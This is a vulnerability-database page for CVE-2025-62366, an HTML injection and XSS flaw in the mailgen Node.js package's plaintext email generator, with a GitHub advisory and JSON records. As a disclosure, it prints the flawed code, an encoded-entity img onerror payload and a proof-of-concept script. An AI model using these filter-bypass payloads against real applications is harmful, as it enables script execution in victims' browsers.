Vulnerability-Lookup

CVE-2025-62366 (GCVE-0-2025-62366)

Vulnerability from cvelistv5 – Published: 2025-10-14 15:23 – Updated: 2025-10-14 16:07

Title

Mailgen vulnerable to HTML injection and cross-site scripting via plaintext email generation

Summary

mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Mailgen versions through 2.0.30 contain an HTML injection vulnerability in plaintext emails produced by the generatePlaintext method when user‑generated content is supplied. The function attempts to remove HTML tags, but if tags are provided as encoded HTML entities they are not removed and are later decoded, resulting in active HTML (for example an img tag with an event handler) in the supposed plaintext output. In contexts where the generated plaintext string is subsequently rendered as HTML, this can allow execution of attacker‑controlled JavaScript. Versions 2.0.31 and later contain a fix. No known workarounds exist.

Severity

2.9 (Low)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-10-14 16:07 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7994 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/eladnava/mailgen/security/advi…	x_refsource_CONFIRM
https://github.com/eladnava/mailgen/commit/7279a9…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
eladnava	mailgen	Affected: < 2.0.31	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2025-62366

Vulnerability from fkie_nvd - Published: 2025-10-14 16:15 - Updated: 2026-10-08 11:10

Severity

2.9 (Low) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/eladnava/mailgen/commit/7279a983481d05c51aa451e86146f98aaa42fee9
	security-advisories@github.com	https://github.com/eladnava/mailgen/security/advisories/GHSA-xw6r-chmh-vpmj

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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      "affectedData": [
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          "product": "mailgen",
          "vendor": "eladnava",
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    },
    {
      "lang": "es",
      "value": "mailgen es un paquete de Node.js que genera correos electr\u00f3nicos HTML adaptables para el env\u00edo de correo transaccional. Las versiones de Mailgen hasta la 2.0.30 contienen una vulnerabilidad de inyecci\u00f3n HTML en los correos electr\u00f3nicos de texto plano producidos por el m\u00e9todo generatePlaintext cuando se proporciona contenido generado por el usuario. La funci\u00f3n intenta eliminar etiquetas HTML, pero si las etiquetas se proporcionan como entidades HTML codificadas, no se eliminan y se decodifican posteriormente, lo que resulta en HTML activo (por ejemplo, una etiqueta img con un gestor de eventos) en la supuesta salida de texto plano. En contextos donde la cadena de texto plano generada se renderiza posteriormente como HTML, esto puede permitir la ejecuci\u00f3n de JavaScript controlado por el atacante. Las versiones 2.0.31 y posteriores contienen una correcci\u00f3n. No existen soluciones alternativas conocidas."
    }
  ],
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  "lastModified": "2026-10-08T11:10:00.250",
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GHSA-XW6R-CHMH-VPMJ

Vulnerability from github – Published: 2025-10-14 19:49 – Updated: 2025-10-14 19:49

Summary

Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails

Details

Summary

An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the Mailgen.generatePlaintext(email) method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).

Details

The following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.

// Plaintext text e-mail generator
Mailgen.prototype.generatePlaintext = function (params) {
    // Plaintext theme not cached?
    if (!this.cachedPlaintextTheme) {
        throw new Error('An error was encountered while loading the plaintext theme.');
    }

    // Parse email params and get back an object with data to inject
    var ejsParams = this.parseParams(params);

    // Render the plaintext theme with ejs, injecting the data accordingly
    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);

    // Definition of the <br /> tag as a regex pattern
    var breakTag = /(?:\<br\s*\/?\>)/g;
    var breakTagPattern = new RegExp(breakTag);

    // Check the plaintext for html break tag, maintains backwards compatiblity
    if (breakTagPattern.test(this.cachedPlaintextTheme)) {
        // Strip all linebreaks from the rendered plaintext
        output = output.replace(/(?:\r\n|\r|\n)/g, '');

        // Replace html break tags with linebreaks
        output = output.replace(breakTag, '\n');

        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)
        output = output.replace(/^(?: |\t)*/gm, "");
    }

    // Strip all HTML tags from plaintext output
    output = output.replace(/<.+?>/g, '');

    // Decode HTML entities such as &copy;
    output = he.decode(output);

    // All done!
    return output;
};

The process fails because it searches for HTML tags and attempts to strip them from the input. However, if the HTML tags are encoded, they are not removed. These encoded tags are then decoded later and become valid HTML content, which can lead to XSS vulnerabilities.

A valid payload is: &ltimg src=xyz onerror=alert(1)&gt.

PoC

var Mailgen = require('mailgen');

// Configure mailgen by setting a theme and your product info
var mailGenerator = new Mailgen({
    theme: 'default',
    product: {
        // Appears in header & footer of e-mails
        name: 'Mailgen',
        link: 'https://mailgen.js/'
        // Optional product logo
        // logo: 'https://mailgen.js/img/logo.png'
    }
});

var email = {
    body: {
        name: 'John &ltimg src=x onerror=alert(document.body.innerHTML)&gt Appleseed',
        intro: 'Welcome to Mailgen! We\'re very excited to have you on board.',
        action: {
            instructions: 'To get started with Mailgen, please click here:',
            button: {
                color: '#22BC66', // Optional action button color
                text: 'Confirm your account',
                link: 'secret-link'
            }
        },
        outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.'
    }
};

var emailText = mailGenerator.generatePlaintext(email);
require('fs').writeFileSync('emailText.html', emailText, 'utf8');

Resulting output file (emailText.html):

Hi John <img src=x onerror=alert(document.body.innerHTML)> Appleseed,

Welcome to Mailgen! We're very excited to have you on board.        

To get started with Mailgen, please click here:        
secret-link            

Need help, or have questions? Just reply to this email, we'd love to help.        

Yours truly,  
Mailgen

© 2025 Mailgen. All rights reserved.

Impact

Depending on the context/environment where the plaintext message is used, if HTML is rendered and executed can result in arbitrary code execution in the browser of the victim (potentially stealing secrets or sensitive information contained in the message).

Credits

Edoardo Ottavianelli (@edoardottt)

Severity

1.3 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.30"
      },
      "package": {
        "ecosystem": "npm",
        "name": "mailgen"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62366"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-14T19:49:56Z",
    "nvd_published_at": "2025-10-14T16:15:42Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nAn HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the `Mailgen.generatePlaintext(email)` method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).\n\n### Details\n\nThe following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.\n\n```javascript\n// Plaintext text e-mail generator\nMailgen.prototype.generatePlaintext = function (params) {\n    // Plaintext theme not cached?\n    if (!this.cachedPlaintextTheme) {\n        throw new Error(\u0027An error was encountered while loading the plaintext theme.\u0027);\n    }\n   \n    // Parse email params and get back an object with data to inject\n    var ejsParams = this.parseParams(params);\n\n    // Render the plaintext theme with ejs, injecting the data accordingly\n    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);\n\n    // Definition of the \u003cbr /\u003e tag as a regex pattern\n    var breakTag = /(?:\\\u003cbr\\s*\\/?\\\u003e)/g;\n    var breakTagPattern = new RegExp(breakTag);\n\n    // Check the plaintext for html break tag, maintains backwards compatiblity\n    if (breakTagPattern.test(this.cachedPlaintextTheme)) {\n        // Strip all linebreaks from the rendered plaintext\n        output = output.replace(/(?:\\r\\n|\\r|\\n)/g, \u0027\u0027);\n\n        // Replace html break tags with linebreaks\n        output = output.replace(breakTag, \u0027\\n\u0027);\n\n        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)\n        output = output.replace(/^(?: |\\t)*/gm, \"\");\n    }\n\n    // Strip all HTML tags from plaintext output\n    output = output.replace(/\u003c.+?\u003e/g, \u0027\u0027);\n\n    // Decode HTML entities such as \u0026copy;\n    output = he.decode(output);\n\n    // All done!\n    return output;\n};\n```\nThe process fails because it searches for HTML tags and attempts to strip them from the input. However, if the HTML tags are encoded, they are not removed. These encoded tags are then decoded later and become valid HTML content, which can lead to XSS vulnerabilities.\n\nA valid payload is: `\u0026ltimg src=xyz onerror=alert(1)\u0026gt`.\n\n### PoC\n\n```javascript\nvar Mailgen = require(\u0027mailgen\u0027);\n\n// Configure mailgen by setting a theme and your product info\nvar mailGenerator = new Mailgen({\n    theme: \u0027default\u0027,\n    product: {\n        // Appears in header \u0026 footer of e-mails\n        name: \u0027Mailgen\u0027,\n        link: \u0027https://mailgen.js/\u0027\n        // Optional product logo\n        // logo: \u0027https://mailgen.js/img/logo.png\u0027\n    }\n});\n\nvar email = {\n    body: {\n        name: \u0027John \u0026ltimg src=x onerror=alert(document.body.innerHTML)\u0026gt Appleseed\u0027,\n        intro: \u0027Welcome to Mailgen! We\\\u0027re very excited to have you on board.\u0027,\n        action: {\n            instructions: \u0027To get started with Mailgen, please click here:\u0027,\n            button: {\n                color: \u0027#22BC66\u0027, // Optional action button color\n                text: \u0027Confirm your account\u0027,\n                link: \u0027secret-link\u0027\n            }\n        },\n        outro: \u0027Need help, or have questions? Just reply to this email, we\\\u0027d love to help.\u0027\n    }\n};\n\nvar emailText = mailGenerator.generatePlaintext(email);\nrequire(\u0027fs\u0027).writeFileSync(\u0027emailText.html\u0027, emailText, \u0027utf8\u0027);\n```\n\n**Resulting output file (emailText.html)**:\n\n```HTML\nHi John \u003cimg src=x onerror=alert(document.body.innerHTML)\u003e Appleseed,\n\nWelcome to Mailgen! We\u0027re very excited to have you on board.        \n\nTo get started with Mailgen, please click here:        \nsecret-link            \n\nNeed help, or have questions? Just reply to this email, we\u0027d love to help.        \n\nYours truly,  \nMailgen\n\n\u00a9 2025 Mailgen. All rights reserved.\n```\n\n### Impact\n\nDepending on the context/environment where the plaintext message is used, if HTML is rendered and executed can result in arbitrary code execution in the browser of the victim (potentially stealing secrets or sensitive information contained in the message).\n\n### Credits\n\nEdoardo Ottavianelli (@edoardottt)",
  "id": "GHSA-xw6r-chmh-vpmj",
  "modified": "2025-10-14T19:49:56Z",
  "published": "2025-10-14T19:49:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eladnava/mailgen/security/advisories/GHSA-xw6r-chmh-vpmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62366"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eladnava/mailgen/commit/7279a983481d05c51aa451e86146f98aaa42fee9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eladnava/mailgen"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails"
}

Sightings

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Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

CVE-2025-62366 (GCVE-0-2025-62366)

FKIE_CVE-2025-62366

GHSA-XW6R-CHMH-VPMJ

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